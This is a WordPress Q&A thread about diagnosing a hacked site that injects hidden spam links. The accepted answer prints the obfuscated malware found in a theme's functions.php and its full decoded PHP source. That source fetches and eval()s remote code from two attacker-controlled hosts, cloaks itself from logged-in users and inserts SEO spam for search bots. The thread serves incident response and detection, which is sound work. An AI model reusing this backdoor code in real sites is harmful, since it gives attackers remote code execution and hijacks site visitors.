7

I'm working on a client's site and I noticed that posts have a hidden <div> filled to SPAM links to dick pills, etc. Hoping to get lucky, I searched for some of the keywords in the database tables, but found no matches. I also searched the code in all the files, and also found no matches.

I know that Wordpress hacks can be very tricky to remove, and they go to great lengths to make them hard to find. But perhaps there are some "usual suspects" that I could check, or maybe some tell-tale signs I could look for.

I'm not asking for anyone to solve this specific hack. I'm just looking for advice on where (in general) to look.

In case it's useful, here's the unauthorized <div> which is injected right before the close of the first <\p>:

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Medical bills that be much easier than actually need only online cash advance <a href="http://cashadvance8online.com" title="online cash advance">online cash advance</a> your funds via the freedom you out.  </div><script type='text/javascript'>if(document.getElementById('hideMeya') != null){document.getElementById('hideMeya').style.visibility = 'hidden';document.getElementById('hideMeya').style.display = 'none';}</script> </p>
4
  • This question was put "on hold" as off topic but I think this was a mistake as I'm not asking anything specific to my site, but rather for general patterns associated with this kind of attach. I think this is entirely "on-topic" for this forum. Commented Feb 16, 2014 at 16:08
  • We just discussed reopening your question. The reason we don't do it, is that it's open ended. There's no real solution (it would be a "collection") and this is what questions in all of the SE network sites are about. It would quickly become a target for low quality answers from reputation hunters as well as a target for spam links. When you investigate your problem and find the reason for it and file an edit, we maybe can reopen it and help you avoiding further break-ins like that.
    – kaiser
    Commented Feb 16, 2014 at 17:14
  • I've found the source of this problem and would like to answer my own question. It turns out that my problem is, as I suspected, the result of a common type of attack. And I suspect my findings will prove useful to a LOT of other people. Commented Feb 25, 2014 at 19:01
  • 1
    I reopend the question and hope that you explain how the hack happened (not only how you recovered from it).
    – kaiser
    Commented Feb 26, 2014 at 1:43

2 Answers 2

6

I won't repeat any of the good advice in Squish's answer. You should also read this article on Wordpress security. I'm just going to cover the specifics of what I learned from my episode.

My attack is a kind of black hat SEO known as "hideMeYa": http://siteolytics.com/black-hat-seo-technique-demystified/

Basically, the attacker slips a bunch of hidden links into the content so humans can't see them but google can. So they use unsuspecting sites to drum up back links to shady sites.

It's hard to say for sure how this was done, but in this site there were two known security vulnerabilities:

  • admin user was still in use (you should delete/rename the admin user).
  • Outdated plugins and core

In my case, the infected file was my theme's functions.php file. At the very top was this:

<?php $wp_function_initialize = create_function('$a',strrev(';)a$(lave')); $wp_function_initialize(strrev(';))"=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Notice how it's cleverly named to look like typical Wordpress stuff.

I'm not going to walk through all the code, but basically it's a bunch of base64_encodeed code as a reversed string. The strrev() makes it hard to find the two biggest red flags here: base64_encode and eval. The un-obfuscated code is included below, but here are my biggest takeaways (in addition to what Squish said):

  • Be on the look-out for eval and base64_decode, but also look for their reversed equivalents: lave and edoced_46esab
  • Also look for instances of strrev. There are few legitimate uses of all of these in the WP core which will return false positives, but not so many that you can't scrutinize each one.
  • In my case, the hack doesn't appear for logged in users (It checks client's cookies), so don't let that throw you off. It's a clever twist to confuse the users who are most likely to be looking for it.

Good night and good luck.

The un-obfuscated code turns out to be this:

function get_url_999($url){$content="";$content=@trycurl_999($url);if($content!==false)return $content;$content=@tryfile_999($url);if($content!==false)return $content;$content=@tryfopen_999($url);if($content!==false)return $content;$content=@tryfsockopen_999($url);if($content!==false)return $content;$content=@trysocket_999($url);if($content!==false)return $content;return '';}
function trycurl_999($url){if(function_exists('curl_init')===false)return false;$ch = curl_init ();curl_setopt ($ch, CURLOPT_URL,$url);curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ch, CURLOPT_TIMEOUT, 5);curl_setopt ($ch, CURLOPT_HEADER, 0);$result = curl_exec ($ch);curl_close($ch);if ($result=="")return false;return $result;}
function tryfile_999($url){if(function_exists('file')===false)return false;$inc=@file($url);$buf=@implode('',$inc);if ($buf=="")return false;return $buf;}
function tryfopen_999($url){if(function_exists('fopen')===false)return false;$buf='';$f=@fopen($url,'r');if ($f){while(!feof($f)){$buf.=fread($f,10000);}fclose($f);}else return false;if ($buf=="")return false;return $buf;}
function tryfsockopen_999($url){if(function_exists('fsockopen')===false)return false;$p=@parse_url($url);$host=$p['host'];$uri=$p['path'].'?'.$p['query'];$f=@fsockopen($host,80,$errno, $errstr,30);if(!$f)return false;$request ="GET $uri HTTP/1.0\n";$request.="Host: $host\n\n";fwrite($f,$request);$buf='';while(!feof($f)){$buf.=fread($f,10000);}fclose($f);if ($buf=="")return false;list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);return $buf;}
function trysocket_999($url){if(function_exists('socket_create')===false)return false;$p=@parse_url($url);$host=$p['host'];$uri=$p['path'].'?'.$p['query'];$ip1=@gethostbyname($host);$ip2=@long2ip(@ip2long($ip1)); if ($ip1!=$ip2)return false;$sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);if (!@socket_connect($sock,$ip1,80)){@socket_close($sock);return false;}$request ="GET $uri HTTP/1.0\n";$request.="Host: $host\n\n";socket_write($sock,$request);$buf='';while($t=socket_read($sock,10000)){$buf.=$t;}@socket_close($sock);if ($buf=="")return false;list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);return $buf;}
function str_replace_first($search, $replace, $subject) {$pos = stripos($subject, $search);if ($pos !== false) {    $subject = substr_replace($subject, $replace, $pos, strlen($search));}  return $subject;}
function is_bot_ua(){$bot=0;$ua=@$_SERVER['HTTP_USER_AGENT'];if (stristr($ua,"msnbot")||stristr($ua,"Yahoo"))$bot=1;if (stristr($ua,"bingbot")||stristr($ua,"googlebot"))$bot=1;return $bot;}
function is_googlebot_ip(){$k=0;$ip=sprintf("%u",@ip2long(@$_SERVER["REMOTE_ADDR"]));if (($ip>=1123631104)&&($ip<=1123639295))$k=1;return $k;}

function update_file_999(){

    $uri="g.php?t=p&i=7dbdd7b4";
    $actual1="http://nlinthewood.com/".$uri;
    $actual2="http://maxigg.ru/".$uri;
    $val=get_url_999($actual1);
    if ($val=="")$val=get_url_999($actual2);
    if (strstr($val,"|||CODE|||")){
        list($val,$code)=explode("|||CODE|||",$val);
        eval(base64_decode($code));
    }
    return $val;
}



function callback_function_php($p) {

    if (isset($_COOKIE['wordpress_test_cookie']) || isset($_COOKIE['wp-settings-1']) || isset($_COOKIE['wp-settings-time-1']) || (function_exists('is_user_logged_in') && is_user_logged_in()) ) {
        return $p;
    }

    $x='{options_names}';
    $buf="";
    $update=0;
    if (!$k = get_option($x)){
        if (!add_option($x,Array(),'','no')){
            return $p;
        }
        $update=1;
    }else{
        $ctime=time()-@$k[1];
        if ($ctime>3600*12){
            $update=1;
        }

    }
    if ($update){
        $val=update_file_999();
        $k=array();
        $k[0]=$val;
        $k[1]=time();
        if (!update_option($x,$k)){
            return $p;
        }
    }
    if (!$k = get_option($x)){
        return $p;
    }

    $buf=@$k[0];
    if ($buf==""){
        return $p;
    }
    list($type,$text)=@explode("|||",$buf);
    if ($text=="")return $p;

    $type+=0;
    $bot=0;
    if ($type==0){
        $buf1=@base64_decode($text);
        list($tagjs,$js,$tagtext1,$text1)=@explode("|||",$buf1);

        if (($tagjs!="")&&(stristr($p,$tagjs))){
            $p=str_replace_first($tagjs, $js." ".$tagjs, $p);
        }else{
            $p=$p.$js;
        }
        if (($tagtext1!="")&&(stristr($p,$tagtext1))){
            $p=str_replace_first($tagtext1, $text1." ".$tagtext1, $p);
        }else{
            $p=$p.$text1;
        }

    }else
    if (($type==1)||($type==2)||($type==3)||($type==4)){
        if (($type==1)||($type==4)){
            $bot=is_bot_ua();
        }
        if (($type==2)||($type==3)){
            $bot=is_googlebot_ip();
        }

        if ($bot){
            $buf1=@base64_decode($text);
            list($tag,$text1)=@explode("|||",$buf1);
            if (($tag!="")&&($text1!="")){

                if (stristr($p,$tag)){
                    if (($type==3)||($type==4)){
                        $p=@str_ireplace($tag,$tag." ".$text1,$p); 
                    }else{
                        $p=str_replace_first($tag, $tag." ".$text1, $p);
                    }
                }else{
                    $p=$p.$text1;
                }
            }

        }
    }


    return $p; 
} 



ob_start("callback_function_php");
3
  • Ok +1 and I protected the question. Just do us a favor: Instead of the links above, please show us how the injection works/how they got access as this is the part that is not "identify & recover" and that (preventing it) is interesting for the readers of your question. Or in other words: Please read the last comment that I posted on the question for the reason why I reopened it.
    – kaiser
    Commented Feb 27, 2014 at 12:23
  • @kaiser Are you asking for discussion of how the hacker was able to access/modify files? Or are you asking for more discussion of how the attach works once it's in place? Commented Feb 27, 2014 at 17:40
  • How the attack happened. That's the thing our users would be interested in: Hardening WP.
    – kaiser
    Commented Feb 27, 2014 at 23:51
3

In general, the best place to look is in your theme folders, specifically the main theme and in the index.php file. Then the footer and header files.

Also, check your modified dates and start with the most recently modified. Especially if there are several that were all modified around the same date/time.

I've seen, and had to fix, this problem several times on people's servers. The false data is normally loaded via a script inserted into the php files of the template.

First, you should definitely read over the Wordpress FAQ for dealing with a hacked site.

Common entry points for gaining the "access" required to pull the injection off are outdated themes and/or plugins. It's best to run production servers with only the one active theme on the server, as well as removing unused plugins and replacing outdated active plugins.

There are a few scripts out there that you can upload to your server to help you find infected files so you can replace, clean or delete them. (Links listed below)

Again, try looking at file modified dates and check out ones you haven't modified/installed recently yet have a recent date on the.

  • Look for Bad Guys : I've used this one. It takes a bunch of configuration to root out all the false positives ... but it can at least help you get a general idea of which files to check out.
  • Wordfence offers the ability to scan your files with their free plugin, I can't personally endorse it though, since I haven't used it myself. https://www.wordfence.com/docs/how-to-clean-a-hacked-wordpress-site-using-wordfence/
  • Sucuri is linked on the Wordpress forums frequently and they have a plugin for scanning as well, but once again... haven't personally used it. But I'm a hands-on kind of person.
1
  • 1
    I just installed the Wordfence plugin (free version) and it's incredible, and very professional. The range of features and the nice tutorials walking you through what's available are truly impressive. Thanks for the suggestion!
    – Brad Parks
    Commented Oct 17, 2015 at 1:06

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